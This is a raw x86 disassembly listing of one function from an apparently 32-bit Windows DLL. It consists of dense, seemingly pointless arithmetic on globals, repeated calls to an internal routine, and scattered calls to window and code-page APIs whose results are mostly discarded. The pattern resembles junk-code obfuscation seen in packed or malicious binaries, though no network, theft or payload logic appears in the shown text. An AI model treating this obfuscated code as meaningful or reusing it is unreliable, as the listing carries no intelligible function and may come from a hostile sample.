adc ecx, dword [ebp - 0x50]
mov dword [0x100a2150], eax
mov dword [0x100a2154], ecx
push 0x17c27
push 0x4e0a035
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x5c]
push eax
call fcn.10073ef0
mov dword [0x100a2140], eax
mov dword [0x100a2144], edx
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x64]
add edx, 1
mov eax, dword [ebp - 0x60]
adc eax, 0
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], eax
jmp 0x100513a4
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x1ac], ecx
mov edx, dword [0x100a20f4]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [0x100a2027], al
mov eax, dword [ebp - 0x1ac]
add eax, 0x369
mov dword [ebp - 0x654], eax
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x1005184d
movzx edx, byte [0x100a207a]
test edx, edx
je 0x100516c7
imul eax, dword [ebp - 0x18], 0x88
add eax, dword [0x100a2100]
mov dword [0x100a2100], eax
mov ecx, 0x371d
mov word [0x100a20c8], cx
mov dl, byte [0x100a2110]
mov byte [str.HeapSize], dl
jmp 0x10051848
movzx eax, byte [0x100a207a]
test eax, eax
je 0x100517ac
movzx ecx, word [0x100a2118]
add ecx, dword [ebp - 0x3c]
jne 0x100516ee
mov dword [ebp - 0x5b8], 1
jmp 0x100516f8
mov dword [ebp - 0x5b8], 0
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
sub edx, 0x53df
sbb eax, 0
mov dword [ebp - 0x196c], edx
mov dword [ebp - 0x1968], eax
mov ecx, dword [ebp - 0x196c]
or ecx, dword [ebp - 0x1968]
jne 0x1005172d
mov dword [ebp - 0x5bc], 1
jmp 0x10051737
mov dword [ebp - 0x5bc], 0
mov edx, dword [ebp - 0x5b8]
add edx, dword [ebp - 0x5bc]
movzx eax, word [ebp - 8]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
xor ecx, eax
sub edx, ecx
mov byte [0x100a207b], dl
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x38]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x3c]
not eax
cdq
add eax, dword [ebp - 0x5c]
adc edx, dword [ebp - 0x58]
sub ecx, eax
sbb esi, edx
not ecx
not esi
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], esi
movzx eax, word [0x100a211c]
cdq
sub eax, 0x509531be
mov dword [ebp - 0x24], eax
mov edx, dword [0x100a20f4]
movzx eax, word [0x100a2124]
lea ecx, [eax + edx - 0x19ef150e]
mov word [0x100a2124], cx
jmp 0x10051848
cmp dword [0x100a20f4], 0
je 0x100517ea
imul edx, dword [ebp - 0x18], 0xcdae54c2
mov dword [ebp - 0x18], edx
movsx eax, byte [str.y4The_server_is_requ]
cdq
mov ecx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov edx, dword [ebp - 0x18]
sub edx, 0xfb
mov dword [ebp - 0x20], edx
jmp 0x10051848
movsx eax, word [0x100a20f0]
test eax, eax
je 0x10051848
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x25f4], edx
add ecx, 0xa90df1cf
mov dword [ebp - 0x24], ecx
movzx eax, byte [str.HeapSize]
movsx ecx, word [0x100a20c8]
add eax, ecx
movzx edx, byte [str.HeapSize]
or edx, eax
mov byte [str.HeapSize], dl
mov eax, dword [ebp - 0x28]
xor ecx, ecx
push 0xbe95a
push 0x7d4fc8
push ecx
push eax
call fcn.10073ef0
mov dword [ebp - 0x3c], eax
jmp 0x1005194a
movsx edx, word [0x100a20c8]
sub edx, 0x3028ec66
mov word [ebp - 8], dx
movsx eax, byte [str.y4The_server_is_requ]
xor eax, 0xd542fdc7
not eax
mov word [0x100a2124], ax
mov eax, dword [ebp - 0x34]
cdq
add eax, 0xdd654bee
adc edx, 0xd4e2
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
mov ecx, dword [0x100a20e4]
add ecx, dword [ebp - 0x5c]
mov dword [0x100a20e4], ecx
cmp dword [ebp - 0x28], 0
jne 0x100518ad
mov dword [ebp - 0x5c0], 1
jmp 0x100518b7
mov dword [ebp - 0x5c0], 0
mov edx, dword [ebp - 0x5c0]
sub edx, 0x5fae2d3b
xor eax, eax
mov ecx, dword [0x100a20f8]
sub ecx, 0x1eee
mov esi, dword [0x100a20fc]
sbb esi, 0
xor edx, ecx
xor eax, esi
mov dword [ebp - 0x1974], edx
mov dword [ebp - 0x1970], eax
mov edx, dword [ebp - 0x1974]
or edx, dword [ebp - 0x1970]
jne 0x1005190c
xor eax, eax
mov dword [ebp - 0x197c], 1
mov dword [ebp - 0x1978], eax
jmp 0x10051917
xorps xmm0, xmm0
movlpd qword [ebp - 0x197c], xmm0
mov eax, dword [0x100a2120]
and eax, dword [ebp - 0x34]
cdq
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
sub eax, 0x468cadce
not eax
sub ecx, eax
mov edx, dword [ebp - 0x197c]
sub edx, ecx
mov byte [str.HeapSize], dl
imul eax, dword [ebp - 0x30], 0x8aaf
mov word [0x100a2138], ax
mov ecx, dword [ebp - 0x1ac]
add ecx, 0x5a9
mov dword [ebp - 0x154c], ecx
cmp dword [ebp - 0x24], 0
je 0x10051bf6
cmp dword [ebp - 0x3c], 0
je 0x10051b3b
mov edx, dword [ebp - 0x54]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
xor ecx, ecx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 0x1984], edx
mov dword [ebp - 0x1980], eax
mov ecx, dword [0x100a20fc]
cmp ecx, dword [ebp - 0x1980]
jg 0x100519e6
jl 0x100519b1
mov edx, dword [0x100a20f8]
cmp edx, dword [ebp - 0x1984]
jae 0x100519e6
movzx eax, word [ebp - 0xc]
movzx ecx, word [0x100a2118]
cmp eax, ecx
je 0x100519cc
mov dword [ebp - 0x5c4], 1
jmp 0x100519d6
mov dword [ebp - 0x5c4], 0
mov edx, dword [ebp - 0x5c4]
not edx
test edx, edx
je 0x10051b0a
movsx eax, byte [str.y4The_server_is_requ]
cdq
mov dword [ebp - 0x198c], eax
mov dword [ebp - 0x1988], edx
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x1988]
jl 0x10051a1e
jg 0x10051a12
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp - 0x198c]
jb 0x10051a1e
mov dword [ebp - 0x5c8], 1
jmp 0x10051a28
mov dword [ebp - 0x5c8], 0
cmp dword [ebp - 0x58], 0
jl 0x10051a42
jg 0x10051a36
cmp dword [ebp - 0x5c], 0x15
jb 0x10051a42
mov dword [ebp - 0x5cc], 1
jmp 0x10051a4c
mov dword [ebp - 0x5cc], 0
mov edx, dword [ebp - 0x5c8]
cmp edx, dword [ebp - 0x5cc]
jg 0x10051a8a
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x64]
sub ecx, 0x9662e4dd
movsx eax, word [0x100a20f0]
cdq
sub eax, ecx
mov word [0x100a20f0], ax
movzx edx, word [ebp - 0x10]
sub edx, 0x9f64
mov dword [ebp - 0x20], edx
jmp 0x10051b08
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x1994], eax
mov dword [ebp - 0x1990], ecx
mov edx, dword [ebp - 0x1994]
or edx, dword [ebp - 0x1990]
je 0x10051b08
mov eax, dword [ebp - 0x18]
add eax, dword [0x100a2128]
mov ecx, dword [ebp - 0x18]
or ecx, eax
mov dword [ebp - 0x18], ecx
movzx edx, word [ebp - 0xc]
add edx, 0x31
movzx eax, word [0x100a2138]
imul eax, edx
mov word [0x100a2138], ax
mov dword [0x100a2128], 0xa564
movzx ecx, byte [0x100a207b]
imul ecx, dword [ebp - 0x20]
mov byte [0x100a207b], cl
mov edx, dword [ebp - 0x54]
xor edx, 0x516c
mov byte [0x100a203b], dl
mov eax, dword [0x100a20dc]
shr eax, 1
mov dword [0x100a2104], eax
jmp 0x10051b36
cmp dword [ebp - 0x30], 0
je 0x10051b36
movzx ecx, word [ebp - 0x10]
sub ecx, dword [0x100a2104]
mov word [ebp - 0x10], cx
movzx dx, byte [ebp - 3]
mov word [0x100a2118], dx
xor eax, eax
mov dword [ebp - 0x64], 0x2ba3
mov dword [ebp - 0x60], eax
jmp 0x10051bf1
mov ecx, dword [ebp - 0x5c]
or ecx, dword [ebp - 0x58]
je 0x10051bf1
movzx edx, byte [ebp - 3]
sar edx, 6
mov dword [ebp - 0x2c], edx
movzx eax, word [ebp - 0xc]
imul ecx, eax, 0xf323
mov word [ebp - 8], cx
movzx eax, word [ebp - 8]
xor eax, 0xe830
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov edx, dword [0x100a2150]
mov eax, dword [0x100a2154]
mov dword [ebp - 0x25f8], eax
sub edx, 0x1cc8
mov word [ebp - 8], dx
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x199c], ecx
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x199c]
or eax, dword [ebp - 0x1998]
je 0x10051bbe
mov ecx, dword [0x100a2100]
mov dword [ebp - 0x5d0], ecx
jmp 0x10051bcb
movzx edx, byte [0x100a207b]
mov dword [ebp - 0x5d0], edx
mov eax, dword [ebp - 0x5d0]
xor ecx, ecx
mov dword [0x100a2140], eax
mov dword [0x100a2144], ecx
movzx edx, byte [0x100a207a]
add edx, 0xa0be
mov byte [str.y4The_server_is_requ], dl
jmp 0x10051d33
movzx eax, byte [ebp - 1]
not eax
cdq
mov dword [ebp - 0x19a4], eax
mov dword [ebp - 0x19a0], edx
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x19a0]
jg 0x10051c64
jl 0x10051c21
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp - 0x19a4]
jae 0x10051c64
mov byte [0x100a203b], 2
movzx edx, word [ebp - 8]
add edx, 0x17785382
xor eax, eax
mov dword [0x100a20d0], edx
mov dword [0x100a20d4], eax
mov ecx, dword [0x100a2140]
mov edx, 4
imul eax, edx, 0x9b0a
mov dword [eax + 0x10143898], ecx
xor ecx, ecx
mov word [0x100a20f0], cx
jmp 0x10051d33
mov edx, dword [ebp - 0x64]
or edx, dword [ebp - 0x60]
je 0x10051cbf
mov dword [ebp - 0x1c], 0xae18e9b6
mov eax, dword [ebp - 0x28]
xor eax, 0x21b5c69d
mov dword [ebp - 0x20], eax
movsx ecx, byte [0x100a2027]
sub ecx, 0x7f63
mov byte [str.y4The_server_is_requ], cl
mov edx, dword [0x100a2c3c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x38]
mov ecx, 1
imul edx, ecx, 0xd8
mov byte [edx + 0x102f2b18], al
movsx eax, byte [str.y4The_server_is_requ]
sub eax, dword [ebp - 0x3c]
mov byte [str.y4The_server_is_requ], al
jmp 0x10051d33
movzx ecx, byte [ebp - 3]
test ecx, ecx
je 0x10051d33
mov edx, 4
mov word [0x100a20c8], dx
mov eax, 4
mov word [ebp - 8], ax
cmp dword [ebp - 0x18], 0
je 0x10051cf0
mov ecx, dword [0x100a2104]
mov dword [ebp - 0x5d4], ecx
jmp 0x10051cfc
mov edx, dword [0x100a2120]
mov dword [ebp - 0x5d4], edx
mov ax, word [ebp - 0x5d4]
mov word [ebp - 0xc], ax
mov ecx, dword [0x100a2c3c]
xor edx, edx
mov dword [0x100a20e8], ecx
mov dword [0x100a20ec], edx
movsx eax, word [0x100a20c8]
sub eax, 0x1dad
cdq
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
mov eax, dword [ebp - 0x1ac]
add eax, 0x3b8
mov dword [ebp - 0x658], eax
mov ecx, 3
mov word [ebp - 0x10], cx
mov edx, 4
mov word [ebp - 0x14], dx
push 0
push 0x6b17dd41
mov eax, dword [0x100a2144]
push eax
mov ecx, dword [0x100a2140]
push ecx
call fcn.10073ef0
mov word [ebp - 0x10], ax
movzx edx, word [ebp - 0xc]
movzx eax, byte [ebp - 3]
sub edx, eax
movzx ecx, word [ebp - 0xc]
xor ecx, edx
mov word [ebp - 0xc], cx
movzx edx, word [ebp - 0x10]
mov dword [ebp - 0x5d8], edx
cmp dword [ebp - 0x5d8], 3
ja case.default.0x10051da4
mov eax, dword [ebp - 0x5d8]
jmp dword [eax*4 + 0x10071fc4]
mov ecx, dword [0x100a20f8]
or ecx, dword [0x100a20fc]
je 0x10051dc4
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x5dc], edx
jmp 0x10051dcf
mov eax, dword [0x100a2104]
mov dword [ebp - 0x5dc], eax
mov cx, word [ebp - 0x5dc]
mov word [0x100a20c8], cx
mov dword [ebp - 0x34], 2
movsx edx, word [0x100a2110]
sub edx, 0x93f9
mov byte [ebp - 3], dl
mov eax, 2
imul ecx, eax, 0x19
movzx edx, word [ecx + 0x100b33e0]
mov eax, dword [ebp - 0x34]
sub eax, edx
mov dword [ebp - 0x34], eax
jmp case.default.0x10051da4
mov ecx, dword [0x100a20e8]
mov edx, dword [0x100a20ec]
mov dword [ebp - 0x25fc], edx
add ecx, 0x673e655e
mov word [ebp - 0x10], cx
mov eax, dword [0x100a20d0]
add eax, 0xdfc6
mov dword [ebp - 0x24], eax
movsx eax, word [0x100a20c8]
cdq
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0x2600], edx
add eax, ecx
mov word [0x100a20c8], ax
jmp case.default.0x10051da4
movzx eax, byte [ebp - 2]
cdq
sub eax, 0x6a237757
sbb edx, 0x66536
mov dword [0x100a2108], eax
mov dword [0x100a210c], edx
movzx eax, word [ebp - 0xc]
imul eax, dword [ebp - 0x30]
movzx ecx, byte [ebp - 3]
sub eax, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [0x100a20f4]
cdq
mov ecx, eax
add ecx, dword [ebp - 0x54]
mov eax, dword [0x100a20f4]
cdq
or eax, ecx
mov dword [0x100a20f4], eax
movzx edx, byte [ebp - 2]
mov eax, dword [0x100a2120]
add eax, edx
mov word [0x100a211c], ax
mov dword [0x100a2128], 0xeaf71ce0
mov cx, word [0x100a2c3c]
mov word [ebp - 8], cx
jmp case.default.0x10051da4
movsx edx, byte [0x100a2027]
movsx eax, word [0x100a2110]
add edx, eax
mov byte [0x100a2027], dl
mov ecx, dword [ebp - 0x1c]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.10073ef0
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov edx, dword [ebp - 0x1c]
add edx, 0x403b
mov dword [0x100a2104], edx
mov eax, dword [ebp - 0x38]
add eax, 0xd0ee
mov ecx, dword [ebp - 0x38]
add ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x20]
cdq
push edx
push eax
mov edx, dword [0x100a2144]
push edx
mov eax, dword [0x100a2140]
push eax
call fcn.10073ef0
mov ecx, dword [0x100a2140]
sub ecx, eax
mov eax, dword [0x100a2144]
sbb eax, edx
mov dword [0x100a2140], ecx
mov dword [0x100a2144], eax
mov ecx, dword [ebp - 0x30]
xor ecx, 0x822e
xor edx, edx
mov dword [0x100a20d0], ecx
mov dword [0x100a20d4], edx
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x1b4], eax
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0
je 0x10051faf
mov ecx, dword [ebp - 0x5e0]
push ecx
call dword [sym.imp.USER32.dll_GetMenu]
mov dword [ebp - 0x1548], eax
push 1
mov edx, dword [ebp - 0x1548]
push edx
call dword [sym.imp.USER32.dll_GetSubMenu]
mov dword [ebp - 0x2604], eax
movzx eax, byte [ebp - 2]
test eax, eax
je 0x10052206
mov eax, dword [ebp - 0x3c]
cdq
mov dword [ebp - 0x19ac], eax
mov dword [ebp - 0x19a8], edx
mov ecx, dword [ebp - 0x19ac]
cmp ecx, dword [0x100a2140]
jne 0x10051ff3
mov edx, dword [ebp - 0x19a8]
cmp edx, dword [0x100a2144]
jne 0x10051ff3
mov dword [ebp - 0x5e4], 1
jmp 0x10051ffd
mov dword [ebp - 0x5e4], 0
cmp dword [ebp - 0x3c], 0x2d
jne 0x1005200f
mov dword [ebp - 0x5e8], 1
jmp 0x10052019
mov dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x5e8]
jl 0x100520f9
push 0
push 0x92a35a80
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x64]
push edx
call fcn.10073ef0
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x34], 0
jne 0x1005205c
xor eax, eax
mov dword [ebp - 0x107c], 1
mov dword [ebp - 0x1078], eax
jmp 0x10052067
xorps xmm0, xmm0
movlpd qword [ebp - 0x107c], xmm0
mov ecx, dword [ebp - 0x2c]
xor esi, esi
add ecx, dword [0x100a20d0]
adc esi, dword [0x100a20d4]
sub ecx, dword [ebp - 0x107c]
sbb esi, dword [ebp - 0x1078]
movzx edx, word [0x100a20e0]
imul eax, edx, 0
movzx edx, word [ebp - 0xc]
sub eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], edx
movsx eax, word [0x100a20c8]
sub eax, dword [ebp - 0x28]
movsx ecx, word [0x100a20c8]
add ecx, eax
mov word [0x100a20c8], cx
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
add ecx, eax
adc esi, edx
mov dword [0x100a2148], ecx
mov dword [0x100a214c], esi
jmp 0x10052201
movsx edx, word [ebp - 0x14]
test edx, edx
jne 0x10052118
movsx eax, byte [0x100a203b]
test eax, eax
jne 0x10052118
mov dword [ebp - 0x5ec], 0
jmp 0x10052122
mov dword [ebp - 0x5ec], 1
movzx eax, word [0x100a2118]
cdq
mov dword [ebp - 0x19b4], eax
mov dword [ebp - 0x19b0], edx
mov ecx, dword [ebp - 0x19b0]
cmp ecx, dword [0x100a20fc]
jl 0x10052160
jg 0x10052154
mov edx, dword [ebp - 0x19b4]
cmp edx, dword [0x100a20f8]
jb 0x10052160
mov dword [ebp - 0x5f0], 1
jmp 0x1005216a
mov dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5ec]
not eax
cmp eax, dword [ebp - 0x5f0]
jle 0x10052201
mov eax, dword [0x100a2128]
cdq
sub eax, 0x126d891b
mov word [0x100a211c], ax
movsx ecx, word [ebp - 0x14]
test ecx, ecx
jne 0x100521a3
mov dword [ebp - 0x5f4], 1
jmp 0x100521ad
mov dword [ebp - 0x5f4], 0
mov edx, dword [ebp - 0x5f4]
or edx, dword [0x100a2128]
mov dword [0x100a20f4], edx
mov eax, dword [ebp - 0x3c]
add eax, 0x40
mov dword [ebp - 0x18], eax
movzx eax, word [0x100a20e0]
cdq
sub eax, 0x95f70a05
mov byte [ebp - 2], al
movzx ecx, byte [ebp - 2]
test ecx, ecx
je 0x100521eb
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x5f8], edx
jmp 0x100521f5
movzx eax, byte [ebp - 2]
mov dword [ebp - 0x5f8], eax
mov ecx, dword [ebp - 0x5f8]
mov dword [0x100a2100], ecx
jmp 0x100522d8
mov edx, dword [0x100a20d0]
not edx
mov eax, dword [0x100a20d4]
not eax
mov dword [ebp - 0x19bc], edx
mov dword [ebp - 0x19b8], eax
cmp dword [ebp - 0x19b8], 0
jg 0x1005227a
jl 0x10052238
cmp dword [ebp - 0x19bc], 0x29c1
jae 0x1005227a
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x19c4], ecx
mov dword [ebp - 0x19c0], edx
mov dword [ebp - 0x19cc], eax
mov dword [ebp - 0x19c8], esi
mov ecx, dword [ebp - 0x19c0]
cmp ecx, dword [ebp - 0x19c8]
jb 0x100522d8
ja 0x1005227a
mov edx, dword [ebp - 0x19c4]
cmp edx, dword [ebp - 0x19cc]
jb 0x100522d8
mov al, byte [0x100a20f0]
mov byte [str.y4The_server_is_requ], al
movzx ecx, byte [ebp - 1]
add ecx, 0x4e
mov word [0x100a2110], cx
mov edx, dword [0x100a20f4]
add edx, 0x66159c1b
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 2]
movzx ecx, word [ebp - 0xc]
add eax, ecx
mov dword [0x100a20f4], eax
mov edx, 0x9e
mov word [0x100a2138], dx
movsx eax, word [0x100a20f0]
sub eax, 0x7b2e5b8
movzx ecx, word [0x100a2124]
or ecx, eax
mov word [0x100a2124], cx
mov edx, dword [ebp - 0x1b4]
add edx, 0x36a
mov dword [ebp - 0x2608], edx
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10052503
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
je 0x10052331
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
mov dword [ebp - 0x260c], eax
mov edx, dword [ebp - 0x1b0]
push edx
call dword [sym.imp.USER32.dll_ArrangeIconicWindows]
mov dword [ebp - 0x2610], eax
cmp dword [0x100a2120], 0
jl 0x10052346
mov dword [ebp - 0x5fc], 1
jmp 0x10052350
mov dword [ebp - 0x5fc], 0
cmp dword [0x100a2120], 0x58
jl 0x10052365
mov dword [ebp - 0x600], 1
jmp 0x1005236f
mov dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x600]
jl 0x100523d4
mov ecx, dword [0x100a2130]
mov edx, dword [0x100a2134]
mov dword [ebp - 0x2614], edx
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x2618], edx
add ecx, eax
mov word [0x100a2138], cx
movzx eax, word [ebp - 8]
mov ecx, dword [0x100a2114]
imul ecx, eax
mov edx, dword [0x100a2114]
sub edx, ecx
mov dword [0x100a2114], edx
movzx eax, word [0x100a20e0]
add eax, dword [0x100a20dc]
mov dword [ebp - 0x24], eax
jmp 0x100524fe
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0x19d4], ecx
mov dword [ebp - 0x19d0], edx
mov eax, dword [ebp - 0x19d4]
or eax, dword [ebp - 0x19d0]
je 0x100524fe
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x4e44a63d
mov edx, dword [ebp - 0x2c]
sub edx, ecx
mov dword [ebp - 0x2c], edx
movzx eax, word [ebp - 0xc]
test eax, eax
jne 0x1005242b
xor ecx, ecx
mov dword [ebp - 0x1084], 1
mov dword [ebp - 0x1080], ecx
jmp 0x10052436
xorps xmm0, xmm0
movlpd qword [ebp - 0x1084], xmm0
mov edx, dword [ebp - 0x1084]
sub edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1080]
sbb eax, dword [ebp - 0x50]
mov dword [ebp - 0x19dc], edx
mov dword [ebp - 0x19d8], eax
mov ecx, dword [ebp - 0x19dc]
or ecx, dword [ebp - 0x19d8]
jne 0x10052476
xor edx, edx
mov dword [ebp - 0x108c], 1
mov dword [ebp - 0x1088], edx
jmp 0x10052481
xorps xmm0, xmm0
movlpd qword [ebp - 0x108c], xmm0
movzx eax, word [0x100a2124]
mov ecx, dword [ebp - 0x24]
xor ecx, 0xe1daca2d
lea edx, [eax + ecx - 0x7bd14076]
test edx, edx
jne 0x100524b0
xor eax, eax
mov dword [ebp - 0x1094], 1
mov dword [ebp - 0x1090], eax
jmp 0x100524bb
xorps xmm0, xmm0
movlpd qword [ebp - 0x1094], xmm0
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
add ecx, eax
adc esi, edx
not ecx
not esi
sub ecx, dword [ebp - 0x108c]
sbb esi, dword [ebp - 0x1088]
not ecx
not esi
mov edx, dword [ebp - 0x1090]
push edx
mov eax, dword [ebp - 0x1094]
push eax
push esi
push ecx
call fcn.10073ef0
mov byte [str.y4The_server_is_requ], al
jmp 0x100526d5
mov eax, dword [ebp - 0x38]
cdq
mov dword [ebp - 0x19e4], eax
mov dword [ebp - 0x19e0], edx
mov ecx, dword [ebp - 0x5c]
cmp ecx, dword [ebp - 0x19e4]
jne 0x10052535
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x19e0]
jne 0x10052535
mov dword [ebp - 0x604], 1
jmp 0x1005253f
mov dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov dword [ebp - 0x19ec], eax
mov dword [ebp - 0x19e8], ecx
mov edx, dword [0x100a20fc]
cmp edx, dword [ebp - 0x19e8]
jl 0x10052579
jg 0x1005256d
mov eax, dword [0x100a20f8]
cmp eax, dword [ebp - 0x19ec]
jbe 0x10052579
mov dword [ebp - 0x608], 1
jmp 0x10052583
mov dword [ebp - 0x608], 0
mov ecx, dword [ebp - 0x604]
cmp ecx, dword [ebp - 0x608]
jg 0x100525e6
mov edx, dword [ebp - 0x34]
sub edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [0x100a2114]
add eax, 0xa9f4
mov dword [ebp - 0x18], eax
movsx ecx, word [ebp - 0x14]
imul edx, ecx, 0x68fbd8f1
mov byte [0x100a203b], dl
xor eax, eax
mov dword [ebp - 0x4c], 0x68faeeb
mov dword [ebp - 0x48], eax
mov ecx, dword [0x100a2100]
sub ecx, 0x1e5ef43a
movzx edx, word [ebp - 0xc]
imul edx, ecx
mov word [ebp - 0xc], dx
mov dword [ebp - 0x34], 0xc9b32937
jmp 0x100526d5
cmp dword [ebp - 0x1c], 0
je 0x10052638
movsx eax, word [0x100a20f0]
sub eax, 0xb7
mov word [0x100a2118], ax
movzx eax, byte [ebp - 2]
cdq
add eax, 0x28dfcb98
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add edx, ecx
jne 0x1005261e
mov byte [ebp - 0x71], 1
jmp 0x10052622
mov byte [ebp - 0x71], 0
mov al, byte [ebp - 0x71]
mov byte [0x100a207b], al
mov ecx, 0xf49e
mov word [ebp - 8], cx
jmp 0x100526d5
mov edx, dword [0x100a2140]
or edx, dword [0x100a2144]
je 0x100526d5
movzx eax, byte [0x100a207b]
add eax, dword [ebp - 0x20]
movzx ecx, byte [0x100a207b]
add ecx, eax
mov byte [0x100a207b], cl
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
add edx, 1
adc eax, 0
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], eax
movsx ecx, word [0x100a2110]
movsx edx, word [0x100a2110]
imul ecx, edx
mov word [0x100a2110], cx
mov eax, dword [0x100a2108]
mov ecx, dword [0x100a210c]
mov dword [ebp - 0x19f4], eax
mov dword [ebp - 0x19f0], ecx
mov edx, dword [ebp - 0x19f4]
or edx, dword [ebp - 0x19f0]
je 0x100526bf
mov eax, dword [0x100a20d8]
mov dword [ebp - 0x60c], eax
jmp 0x100526cc
movsx ecx, word [0x100a20f0]
mov dword [ebp - 0x60c], ecx
mov edx, dword [ebp - 0x60c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1b4]
add eax, 0x2ee
mov dword [ebp - 0x1568], eax
mov ecx, dword [ebp - 0x1b4]
add ecx, 0x367
mov dword [ebp - 0x1564], ecx
mov eax, dword [0x100a2120]
sub eax, 0xe8
cdq
mov ecx, dword [0x100a2150]
mov esi, dword [0x100a2154]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
movzx eax, byte [ebp - 2]
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov esi, dword [0x100a2100]
xor edi, edi
movsx eax, byte [str.y4The_server_is_requ]
cdq
mov ecx, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x48]
not ecx
not ebx
push ebx
push ecx
push edx
push eax
call fcn.10073ef0
add esi, eax
adc edi, edx
mov dword [0x100a2148], esi
mov dword [0x100a214c], edi
movsx edx, byte [0x100a203b]
add edx, 0x26ded872
mov word [0x100a2138], dx
mov eax, dword [0x100a2c3c]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1b8], 0
jmp 0x100527aa
mov ecx, dword [ebp - 0x1b8]
add ecx, 1
mov dword [ebp - 0x1b8], ecx
cmp dword [ebp - 0x1b8], 0x9f
jge 0x1005297d
movzx edx, word [ebp - 0x10]
movzx eax, byte [ebp - 3]
cmp edx, eax
jge 0x100528f6
mov ecx, dword [ebp - 0x38]
cmp dword [0x100a2100], ecx
jae 0x100527e1
mov dword [ebp - 0x610], 1
jmp 0x100527eb
mov dword [ebp - 0x610], 0
cmp dword [0x100a2100], 0x21
jae 0x10052800
mov dword [ebp - 0x614], 1
jmp 0x1005280a
mov dword [ebp - 0x614], 0
